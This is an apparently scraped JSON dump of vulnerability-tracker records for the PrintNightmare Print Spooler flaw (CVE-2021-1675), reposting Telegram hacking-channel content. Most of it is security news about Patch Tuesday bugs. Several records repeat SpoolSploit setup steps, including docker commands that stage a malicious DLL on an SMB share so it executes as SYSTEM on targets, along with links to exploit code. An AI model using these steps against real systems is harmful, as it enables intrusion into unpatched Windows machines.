Vulnerability. This document illustrates the exploitation of the vulnerability found in the Windows spooler service. Originally thought to be a local privilege escalation vulnerability in the Windows Print Spooler, identified as CVE-2021-1675 and patched during Microsoft's June Patch. Microsoft increased the severity of this issue on June 21 as well as reclassifying it as a 'remote code execution' (RCE) threat. This RCE vulnerability has been assigned a new identifier, CVE-2021-34527.\n\nMD5 | abd7ef242b6bd0fffaf67005b519a4bd\n\nDownload\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T04:00:04.139680Z"}, {"uuid": "f3e9e845-5c2f-45be-8cca-94ed39a8d6b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/27439", "content": "g that allowed threat actors to conduct remote code execution (RCE) and to gain local system privileges.\n\nThis month\u2019s release includes a fix for CVE-2021-36970, a spoofing vulnerability in Microsoft\u2019s Windows Print Spooler that has a CVSSv3 score of 8.8.\n\nChris Morgan, senior cyber threat intelligence analyst at Digital Shadows, said that the spoofing vulnerability fix Microsoft put out today is meant to fix the problems that previous patches have introduced.\n\n\u201cWhile Microsoft provided a fix in their September 2021 update,\u00a0the patch resulted in a number of management problems,\u201d he told Threatpost. \u201cCertain printers required users to repeatedly input their administrator credentials every time an application attempted to print or had a client connect to a print server.\n\n\u201cOther problems included event logs recording error messages and denying users the ability to perform basic prints\u201d he continued. \u201cAs a result, many may have likely skipped the update due to its operational impact, ultimately leaving the risk posed by PrintNightmare in place.\u201d\n\nThis vulnerability was discovered by researchers XueFeng Li and Zhiniang Peng of Sangfor, who were also credited with the discovery of CVE-2021-1675, one of two vulnerabilities known as PrintNightmare.\n\nSatnam Narang, staff research engineer at Tenable noted that \u201cWhile no details have been shared publicly about the flaw, this is definitely one to watch for, as we saw a constant stream of Print Spooler-related vulnerabilities patched over the summer while ransomware groups began incorporating PrintNightmare into their affiliate playbook. We strongly encourage organizations to apply these patches as soon as possible.\u201d\nSee Also: Apple Pay with VISA lets hackers force payments on locked iPhones RCE Affects Microsoft Word, Office, SharePointAnother vulnerability worth noting is CVE-2021-40486, a critical RCE affecting Microsoft Word, Microsoft Office and some versions of SharePoint Server that can be exploited via the Preview Pane.\n\nGina Geisel, Automox product and partner marketing professional, noted that this vulnerability isn\u2019t new to Microsoft, with several other similar CVEs documented this year. In this case, the RCE vulnerability exists in some Microsoft apps when they fail to properly handle objects in memory.\n\nWith a low attack complexity, this vulnerability requires a user opening a specially crafted file either by email or via a website, either hosted by the attacker or through a compromised website that accepts or hosts user-provided content.\n\n\u201cAn attacker who successfully exploits this vulnerability can use this file to perform actions in the context of the current user,\u201d Geisel explained. \u201cFor example, the file could take actions on behalf of the logged-on user with the same permissions as the current user.\u201d Microsoft SharePoint Server RCEImmersive Labs\u2019 Breen told Threatpost that this RCE vulnerability \u2013 tracked as CVE-2021-40487\u00a0rated as 8.1 out of 10 CVSS score and marked as \u201cexploitation more likely\u201d \u2013 will be more difficult for an attacker to exploit, given that it requires an authenticated user on the domain.\n\nBut gaining RCE on a SharePoint server \u201copens up a lot of avenues for further exploitation,\u201d he noted via email.\n\n\u201cInternal SharePoint servers are often used to host company-sensitive documents and provide an intranet for staff to interact with,\u201d Breen explained. \u201cIf an attacker could manipulate the content of these articles or replace valid documents with malicious ones, they could steal credentials or trick targeted users into installing additional malware.\u201d Highest CVSS Award Goes to Microsoft Exchange Server RCECVE-2021-26427, the latest in Exchange Server RCEs, takes the severity cake this month, with a CVSS score of 9.0 out of 10. In spite of this hgh severity rating, Microsoft has marked it as being \u201cexploitation less likely,\u201d perhaps due to the what Breen called the \u201cnetwork adjacent vector.\u201d\n\nIn other [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T08:00:07.142652Z"}, {"uuid": "1e479439-a78d-4bc6-ae42-12d264bc62a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/hacking_Attack/26613", "content": "2_SpoolSample.gif PrintNightmare (CVE-2021-1675) - Execute malicious DLLs on Windows targets as SYSTEMIncluded in the SpoolSploit container is an SMB server implemented via Impacket. This server can be used to host malicious DLLs when executing the printnightmareattack in SpoolSploit. The default SMB server settings work, but if you want to customize them you can modify the configuration file located at /home/dlogmas/smbserver/smb-v1.conf.\n\nThe only thing you need to do is copy your DLL to the SMB server's share folder in the SpoolSploit container. The share path in the container is /home/dlogmas/smbserver/share/. The following commands demonstrate how to upload a DLL to the SpoolSploit container and make it accessible to the SMB server. sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/\nsudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll' https://1.bp.blogspot.com/-IqUvx7SXavM/YVi9igITTRI/AAAAAAAAvWs/9nikcO6EzWcW7r2BBW6nLGx3obnPjHIDgCNcBGAsYHQ/w640-h522/SpoolSploit_3_PrintNightmare.gif DisclaimerThis proof-of-concept code has been created for academic research and is not intended to be used against systems except where explicitly authorized. The code is provided as is with no guarantees or promises on its execution. I am not responsible or liable for misuse of this code. CreditsSpoolSample - Microsoft Feature* leechristensen discovered the SpoolSample exploit and created a C# POC SpoolSample\n* 3xocyte created a Python2 SpoolSample POC dementor. PrintNightmare - CVE-2021-1675 / CVE-2021-34527* cube0x0 created Python PrintNightmare exploit after implementing the MS-PAR & MS-RPRN protocols and API calls in Impacket.\n* Zhiniang Peng & Xuefeng Li discovered this exploit. Download SpoolSploit\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T11:00:03.802089Z"}, {"uuid": "541512a4-b742-498e-bd20-bcc0d5e714e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/hacking_Attack/26606", "content": "Disclaimer\nThis proof-of-concept code has been created for academic research and is not intended to be used against systems except where explicitly authorized. The code is provided as is with no guarantees or promises on its execution. I am not responsible or liable for misuse of this code.\nCredits\n\nSpoolSample - Microsoft (https://www.kitploit.com/search/label/Microsoft) Feature\nleechristensen (https://github.com/leechristensen/SpoolSample) discovered the SpoolSample exploit and created a C# POC SpoolSample (https://github.com/leechristensen/SpoolSample/tree/master/SpoolSample)3xocyte (https://gist.github.com/3xocyte) created a Python2 SpoolSample POC dementor (https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc#file-dementor-py).\nPrintNightmare - CVE-2021-1675 / CVE-2021-34527\ncube0x0 (https://github.com/cube0x0) created Python PrintNightmare exploit after implementing the MS-PAR & MS-RPRN protocols and API calls in Impacket (https://github.com/SecureAuthCorp/impacket).Zhiniang Peng (https://twitter.com/edwardzpeng) & Xuefeng Li (https://twitter.com/lxf02942370) discovered this exploit.\n\nDownload SpoolSploit (https://github.com/BeetleChunks/SpoolSploit)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T11:00:03.885177Z"}, {"uuid": "0c3cd5e8-1d8e-4d3a-9eae-aecf21a02ba6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/hacking_Attack/26604", "content": "PrintNightmare (CVE-2021-1675) - Execute malicious DLLs on Windows targets as SYSTEM\nIncluded in the SpoolSploit container is an SMB server implemented via Impacket (https://github.com/SecureAuthCorp/impacket). This server can be used to host malicious DLLs when executing the printnightmare attack in SpoolSploit. The default SMB server settings work, but if you want to customize them you can modify the configuration file located at /home/dlogmas/smbserver/smb-v1.conf.The only thing you need to do is copy your DLL to the SMB server's share folder in the SpoolSploit container. The share path in the container is /home/dlogmas/smbserver/share/. The following commands demonstrate how to upload a DLL to the SpoolSploit container and make it accessible to the SMB server.sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/\nsudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll'\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T12:00:05.027061Z"}, {"uuid": "c033c0a8-263e-4fae-b2e1-bcc9b59d0209", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/hacking_Attack/19795", "content": "rosoft or the security researcher (Liubenjin from Codesafe Team of Legendsec at Qi\u2019anxin Group) that discovered this vulnerability. Given the broad potential impact, its label \u2018Exploitation More Likely\u2019 and apparent secrecy, patching should be completed ASAP.\u201d\n\nMeanwhile, the memory-corruption bug (CVE-2021-34480) arises from how the scripting engine handles objects in memory, and it also allows RCE. Using a web-based attack or a malicious file, such as a malicious landing page or phishing email, attackers can use this vulnerability to take control of an affected system, install programs, view or change data, or create new user accounts with full user rights.\n\n\u201cCVE-2021-34480 should also be a priority,\u201d Kevin Breen, director of cyber-threat research at Immersive Labs, told Threatpost. \u201cIt is a low score in terms of CVSS, coming in at 6.8, but has been marked by Microsoft as \u2018Exploitation More Likely\u2019 because it is the type of attack commonly used to increase the success rate of spear phishing attacks to gain network access.\u00a0 Simple, but effective.\u201d\nSee Also: Offensive Security Tool: Mimikatz The Windows Graphic Component bug (CVE-2021-34530) allows attackers to remotely execute malicious code in the context of the current user, according to Microsoft \u2013 if they can social-engineer a target into opening a specially crafted file.\n\nAnother bug exists in the Windows MSHTML platform, also known as Trident (CVE-2021-34534). Trident is the rendering engine (mshtml.dll) used by Internet Explorer. The bug affects many Windows 10 versions (1607, 1809,1909, 2004, 20H2, 21H1) as well as Windows Server 2016 and 2019.\n\nBut while it potentially affects a large number of users, exploitation is not trivial.\n\n\u201cTo exploit, a threat actor would need to pull off a highly complex attack with user interaction \u2013 still entirely possible with the sophisticated attackers of today,\u201d said Peter Pflaster, technical product marketing manager at Automox.\n\nThe bug tracked as CVE-2021-34535\u00a0impacts the Microsoft Remote Desktop Client, Microsoft\u2019s nearly ubiquitous utility for connecting to remote PCs.\n\n\u201cWith today\u2019s highly dispersed workforce, CVE-2021-34535, an RCE vulnerability in Remote Desktop Clients, should be a priority patch,\u201d said Breen. \u201cAttackers increasingly use RDP access as the tip of the spear to gain network access, often combining it with privilege escalation to move laterally.\u00a0 These can be powerful as, depending on the method, it may allow the attacker to authenticate in the network in the same way a user would, making detection difficult.\u201d\n\nIt\u2019s not as dangerous of a bug as BlueKeep,\u00a0according to Childs, which also affected RDP.\n\n\u201cBefore you start having flashbacks to BlueKeep, this bug affects the RDP client and not the RDP server,\u201d he said. \u201cHowever, the CVSS 9.9 bug is nothing to ignore. An attacker can take over a system if they can convince an affected RDP client to connect to an RDP server they control. On Hyper-V servers, a malicious program running in a guest VM could trigger guest-to-host RCE by exploiting this vulnerability in the Hyper-V Viewer. This is the more likely scenario and the reason you should test and deploy this patch quickly.\u201d See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 HackerWindows Print Spooler Bugs \u2013 AgainThe final critical bug is CVE-2021-36936, a Windows Print Spooler RCE bug that\u2019s listed as publicly known.\n\nPrint Spooler made headlines last month, when Microsoft patched what it thought was a minor elevation-of-privilege vulnerability in the service (CVE-2021-1675). But the listing was updated later in the week, after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE \u2013 requiring a new patch.\n\nIt also disclosed a second bug, similar to PrintNightmare (CVE-2021-34527); and a third, an EoP issue\u00a0(CVE-2021-34481).\n\n\u201cAnother month, another remote code-execution bug in the Print Spooler,\u201d said ZDI\u2019s Childs. [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T20:00:05.089637Z"}, {"uuid": "e459014e-7dd4-4779-a6e3-e4b1f65cf726", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/15523", "content": "fferent vulnerability in RpcAddPrinterDriverEx(),\u201d the company wrote. \u201cThe attack vector is different as well. CVE-2021-1675 was addressed by the June 2021 security update.\u201d\n\nMicrosoft goes on to explain that CVE-2021-34527 existed before the June Patch Tuesday updates and that it affects domain controllers in \u201call versions of Windows.\u201d\n\n\u201cWe are still investigating whether all versions are exploitable,\u201d the company wrote. \u201cWe will update this CVE when that information is evident.\u201d\n\nMicrosoft did not assign a score to CVE-2021-34527, citing its ongoing investigation. Two Vulnerabilities?In retrospect, one security researcher noted to Threatpost when news of PrintNightmare surfaced Tuesday that it was \u201ccurious\u201d that the CVE for the original vulnerability was \u201c-1675,\u201d observing that \u201cmost of the CVEs Microsoft patched in June are -31000 and higher.\u201d\n\n\u201cThis could be an indicator that they have known about this bug for some time, and fully addressing it is not trivial,\u201d Dustin Childs of Trend Micro\u2019s Zero Day Initiative told Threatpost at the time. Now it appears that perhaps Microsoft was patching only part of a more complex vulnerability. The likely scenario appears to be that there are two bugs in Windows Print Spooler that could offer attackers some kind of exploit chain or be used separately to take over systems.\n\nWhile one flaw may indeed have been addressed in June\u2019s Patch Tuesday update, the other could be mitigated by CERT/CC\u2019s workaround\u2014or could remain to be patched by a future Microsoft update that comes after the company completes its investigation.\n\nThe company\u2019s release Thursday of a new CVE related to PrintNightmare seems to be an initial attempt to clarify the situation, though given its developing nature, it remains a bit hazy for now. See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 Hacker Source: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/router-90x90.jpg Netgear Authentication Bypass Allows Router Takeover4 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/windows-bug-bounty-90x90.jpg PoC Exploit Circulating for Critical Windows Print Spooler Bug5 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/linkedin-90x90.png Data for 700M LinkedIn Users Posted for Sale in Cyber-Underground6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/1920px-NVidia_G71_GPU-90x90.jpg NVIDIA Patches High-Severity GeForce Spoof-Attack Bug7 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/cisco-90x90.jpg Cisco ASA Bug Now Actively Exploited as PoC Drops1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Untitled-design-7-90x90.png 30M Dell Devices at Risk for Remote BIOS Attacks, RCE2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/09_linux_kernel_vuln-e1624449271917-90x90.png Unpatched Linux Marketplace Bugs Allow Wormable Attacks, Drive-By RCE2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Untitled-design-6-1-90x90.png Email Bug Allows Message Snooping, Credential Theft2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Untitled-design-6-90x90.png Bugs in NVIDIA\u2019s Jetson Chipset Opens Door to DoS Attacks, Data Theft2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/14.4.2-90x90.png New iPhone Bug Breaks Your WiFi: Here\u2019s The Fix2 weeks ago\nstyle=\"display:block; text-align:center;\"\n data-ad-layout=\"in-article\"\n data-ad-format=\"fluid\"\n data-ad-client=\"ca-pub-6620833063853657\"\n data-ad-slot=\"4517761481\"> \nThe post CISA Offers New Mitigation for PrintNightmare Bug first appeared on Black Hat Ethical Hacking.", "creation_timestamp": "2026-09-08T00:00:07.613435Z"}, {"uuid": "09cc13f9-ffa0-494a-88b8-1dd038ebfc9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/hacking_Attack/19795", "content": "rosoft or the security researcher (Liubenjin from Codesafe Team of Legendsec at Qi\u2019anxin Group) that discovered this vulnerability. Given the broad potential impact, its label \u2018Exploitation More Likely\u2019 and apparent secrecy, patching should be completed ASAP.\u201d\n\nMeanwhile, the memory-corruption bug (CVE-2021-34480) arises from how the scripting engine handles objects in memory, and it also allows RCE. Using a web-based attack or a malicious file, such as a malicious landing page or phishing email, attackers can use this vulnerability to take control of an affected system, install programs, view or change data, or create new user accounts with full user rights.\n\n\u201cCVE-2021-34480 should also be a priority,\u201d Kevin Breen, director of cyber-threat research at Immersive Labs, told Threatpost. \u201cIt is a low score in terms of CVSS, coming in at 6.8, but has been marked by Microsoft as \u2018Exploitation More Likely\u2019 because it is the type of attack commonly used to increase the success rate of spear phishing attacks to gain network access.\u00a0 Simple, but effective.\u201d\nSee Also: Offensive Security Tool: Mimikatz The Windows Graphic Component bug (CVE-2021-34530) allows attackers to remotely execute malicious code in the context of the current user, according to Microsoft \u2013 if they can social-engineer a target into opening a specially crafted file.\n\nAnother bug exists in the Windows MSHTML platform, also known as Trident (CVE-2021-34534). Trident is the rendering engine (mshtml.dll) used by Internet Explorer. The bug affects many Windows 10 versions (1607, 1809,1909, 2004, 20H2, 21H1) as well as Windows Server 2016 and 2019.\n\nBut while it potentially affects a large number of users, exploitation is not trivial.\n\n\u201cTo exploit, a threat actor would need to pull off a highly complex attack with user interaction \u2013 still entirely possible with the sophisticated attackers of today,\u201d said Peter Pflaster, technical product marketing manager at Automox.\n\nThe bug tracked as CVE-2021-34535\u00a0impacts the Microsoft Remote Desktop Client, Microsoft\u2019s nearly ubiquitous utility for connecting to remote PCs.\n\n\u201cWith today\u2019s highly dispersed workforce, CVE-2021-34535, an RCE vulnerability in Remote Desktop Clients, should be a priority patch,\u201d said Breen. \u201cAttackers increasingly use RDP access as the tip of the spear to gain network access, often combining it with privilege escalation to move laterally.\u00a0 These can be powerful as, depending on the method, it may allow the attacker to authenticate in the network in the same way a user would, making detection difficult.\u201d\n\nIt\u2019s not as dangerous of a bug as BlueKeep,\u00a0according to Childs, which also affected RDP.\n\n\u201cBefore you start having flashbacks to BlueKeep, this bug affects the RDP client and not the RDP server,\u201d he said. \u201cHowever, the CVSS 9.9 bug is nothing to ignore. An attacker can take over a system if they can convince an affected RDP client to connect to an RDP server they control. On Hyper-V servers, a malicious program running in a guest VM could trigger guest-to-host RCE by exploiting this vulnerability in the Hyper-V Viewer. This is the more likely scenario and the reason you should test and deploy this patch quickly.\u201d See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 HackerWindows Print Spooler Bugs \u2013 AgainThe final critical bug is CVE-2021-36936, a Windows Print Spooler RCE bug that\u2019s listed as publicly known.\n\nPrint Spooler made headlines last month, when Microsoft patched what it thought was a minor elevation-of-privilege vulnerability in the service (CVE-2021-1675). But the listing was updated later in the week, after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE \u2013 requiring a new patch.\n\nIt also disclosed a second bug, similar to PrintNightmare (CVE-2021-34527); and a third, an EoP issue\u00a0(CVE-2021-34481).\n\n\u201cAnother month, another remote code-execution bug in the Print Spooler,\u201d said ZDI\u2019s Childs. [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:26.767661Z"}, {"uuid": "0a7ad403-4698-4c60-bb9d-483033722adb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/16793", "content": "WINDOWS PRINT SPOOLER ELEVATION OF PRIVILEGE VULNERABILITY (CVE-2021-1675) EXPLAINED\nhttps://www.reddit.com/r/redteamsec/comments/olp1j7/windows_print_spooler_elevation_of_privilege/\n\nI guess most of you heard about the Windows Print Spooler Elevation of Privilege vulnerability (CVE-2021-1675) in the last couple of weeks. It is a vulnerability that gives an attacker high privileges when they own a regular user account on all print spooler service-enabled devices. Unfortunately, it runs on all Windows Operating Systems by default. In this blog post, I will go into the technical aspect of this vulnerability. Remember that CVE-2021-1675 is NOT the same as the Printnightmare (CVE-2021-34527) vulnerability. Thalpius Blog Post (https://thalpius.com/2021/07/16/windows-print-spooler-elevation-of-privilege-vulnerability-cve-2021-1675-explained/)    submitted by    /u/thalpius  (https://www.reddit.com/user/thalpius) \n [link] (https://www.reddit.com/r/redteamsec/comments/olp1j7/windows_print_spooler_elevation_of_privilege/)   [comments] (https://www.reddit.com/r/redteamsec/comments/olp1j7/windows_print_spooler_elevation_of_privilege/)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:08.357006Z"}, {"uuid": "e7a20b92-26c2-4fad-a8b2-d9cb290e7090", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/17020", "content": "Black Hat Ethical Hacking\nMicrosoft: New Unpatched Bug in Windows Print Spooler\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft: New Unpatched Bug in Windows Print SpoolerPost Views: 50 \nReading Time: 1 Minute\nMicrosoft has warned of yet another vulnerability that\u2019s been discovered in its Windows Print Spooler that can allow attackers to elevate privilege to gain full user rights to a system.\nThe advisory comes on the heels of patching two other remote code-execution (RCE) bugs found in the print service that collectively became known as PrintNightmare.\n\nThe company released the advisory\u00a0late Thursday for the latest bug, a Windows Print Spooler elevation-of-privilege vulnerability tracked as CVE-2021-34481. Microsoft credited Dragos vulnerability researcher Jacob Baines for identifying the issue.\n\nThe vulnerability \u201cexists when the Windows Print Spooler service improperly performs privileged file operations,\u201d according to Microsoft.\n\nAttackers who successfully exploit the bug can run arbitrary code with SYSTEM privileges, allowing them to install programs, view, change or delete data, or create new accounts with full user rights, the company said.\n\nTo work around the bug, administrators and users should stop and disable the Print Spooler service, Microsoft said. Slightly Less of a \u2018PrintNightmare\u2019The vulnerability (CVE-2021-1675) is the latest in a flurry of problems discovered in Windows Print Spooler, but seems slightly less dangerous, as it can only be exploited locally. It rates 7.8 out of 10 on the CVSS vulnerability-severity scale.\n\nIndeed, Baines told BleepingComputer\u00a0that while the bug is print driver-related, \u201cthe attack is not really related to PrintNightmare.\u201d Baines plans to disclose more about the little-known vulnerability in an upcoming presentation\u00a0at DEF CON in August.\nSee Also: Kaseya ransomware supply chain attack: What you need to know The entire saga surrounding Windows Print Spooler began Tuesday, June 30, when a proof-of-concept (PoC) for an initial vulnerability in the print service was dropped on GitHub showing how an attacker can exploit the flaw to take control of an affected system.\n\nThe response to the situation soon turned into confusion. Though Microsoft released an update for CVE-2021-1675\u00a0in it its usual raft of monthly Patch Tuesday updates, fixing what it thought was a minor elevation-of-privilege vulnerability, the listing was updated later in the week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE.\n\nHowever, soon after it became clear to many experts that Microsoft\u2019s initial patch didn\u2019t fix the entire problem. The federal government even stepped in last Thursday, when CERT/CC offered its own mitigation\u00a0for PrintNightmare that Microsoft has since adopted \u2014 advising system administrators to disable the Windows Print Spooler service in Domain Controllers and systems that do not print. See Also: Offensive Security Tool: Veil To further complicate matters, Microsoft also last Thursday dropped a notice\u00a0for a bug called \u201cWindows Print Spooler Remote Code Execution Vulnerability\u201d that appeared to be the same vulnerability, but with a different CVE number\u2014in this case, CVE-2021-34527. The company explained that the second bug was similar to the earlier PrintNightmare vulnerability but also its own distinct entity.\n\nEventually, Microsoft last Wednesday released an emergency cumulative patch\u00a0for both PrintNightmare bugs that included all previous patches as well as protections for CVE-2021-1675 as well as a new fix for CVE-2021-34527. See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 Hacker However, th[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:08.756434Z"}, {"uuid": "dea06ada-e885-474a-9ea1-1115474dc377", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/hacking_Attack/26604", "content": "PrintNightmare (CVE-2021-1675) - Execute malicious DLLs on Windows targets as SYSTEM\nIncluded in the SpoolSploit container is an SMB server implemented via Impacket (https://github.com/SecureAuthCorp/impacket). This server can be used to host malicious DLLs when executing the printnightmare attack in SpoolSploit. The default SMB server settings work, but if you want to customize them you can modify the configuration file located at /home/dlogmas/smbserver/smb-v1.conf.The only thing you need to do is copy your DLL to the SMB server's share folder in the SpoolSploit container. The share path in the container is /home/dlogmas/smbserver/share/. The following commands demonstrate how to upload a DLL to the SpoolSploit container and make it accessible to the SMB server.sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/\nsudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll'\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:47.616471Z"}, {"uuid": "a92cc4b0-5bd3-4f11-be9d-322304ceaf31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/hacking_Attack/26613", "content": "2_SpoolSample.gif PrintNightmare (CVE-2021-1675) - Execute malicious DLLs on Windows targets as SYSTEMIncluded in the SpoolSploit container is an SMB server implemented via Impacket. This server can be used to host malicious DLLs when executing the printnightmareattack in SpoolSploit. The default SMB server settings work, but if you want to customize them you can modify the configuration file located at /home/dlogmas/smbserver/smb-v1.conf.\n\nThe only thing you need to do is copy your DLL to the SMB server's share folder in the SpoolSploit container. The share path in the container is /home/dlogmas/smbserver/share/. The following commands demonstrate how to upload a DLL to the SpoolSploit container and make it accessible to the SMB server. sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/\nsudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll' https://1.bp.blogspot.com/-IqUvx7SXavM/YVi9igITTRI/AAAAAAAAvWs/9nikcO6EzWcW7r2BBW6nLGx3obnPjHIDgCNcBGAsYHQ/w640-h522/SpoolSploit_3_PrintNightmare.gif DisclaimerThis proof-of-concept code has been created for academic research and is not intended to be used against systems except where explicitly authorized. The code is provided as is with no guarantees or promises on its execution. I am not responsible or liable for misuse of this code. CreditsSpoolSample - Microsoft Feature* leechristensen discovered the SpoolSample exploit and created a C# POC SpoolSample\n* 3xocyte created a Python2 SpoolSample POC dementor. PrintNightmare - CVE-2021-1675 / CVE-2021-34527* cube0x0 created Python PrintNightmare exploit after implementing the MS-PAR & MS-RPRN protocols and API calls in Impacket.\n* Zhiniang Peng & Xuefeng Li discovered this exploit. Download SpoolSploit\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:47.796820Z"}, {"uuid": "7170cd67-1854-49e6-91ef-10522e3f7b61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/hacking_Attack/26606", "content": "Disclaimer\nThis proof-of-concept code has been created for academic research and is not intended to be used against systems except where explicitly authorized. The code is provided as is with no guarantees or promises on its execution. I am not responsible or liable for misuse of this code.\nCredits\n\nSpoolSample - Microsoft (https://www.kitploit.com/search/label/Microsoft) Feature\nleechristensen (https://github.com/leechristensen/SpoolSample) discovered the SpoolSample exploit and created a C# POC SpoolSample (https://github.com/leechristensen/SpoolSample/tree/master/SpoolSample)3xocyte (https://gist.github.com/3xocyte) created a Python2 SpoolSample POC dementor (https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc#file-dementor-py).\nPrintNightmare - CVE-2021-1675 / CVE-2021-34527\ncube0x0 (https://github.com/cube0x0) created Python PrintNightmare exploit after implementing the MS-PAR & MS-RPRN protocols and API calls in Impacket (https://github.com/SecureAuthCorp/impacket).Zhiniang Peng (https://twitter.com/edwardzpeng) & Xuefeng Li (https://twitter.com/lxf02942370) discovered this exploit.\n\nDownload SpoolSploit (https://github.com/BeetleChunks/SpoolSploit)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:47.892161Z"}, {"uuid": "48f9ac75-a89c-4b35-ac62-dd37ac066e4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/hacking_Attack/27439", "content": "g that allowed threat actors to conduct remote code execution (RCE) and to gain local system privileges.\n\nThis month\u2019s release includes a fix for CVE-2021-36970, a spoofing vulnerability in Microsoft\u2019s Windows Print Spooler that has a CVSSv3 score of 8.8.\n\nChris Morgan, senior cyber threat intelligence analyst at Digital Shadows, said that the spoofing vulnerability fix Microsoft put out today is meant to fix the problems that previous patches have introduced.\n\n\u201cWhile Microsoft provided a fix in their September 2021 update,\u00a0the patch resulted in a number of management problems,\u201d he told Threatpost. \u201cCertain printers required users to 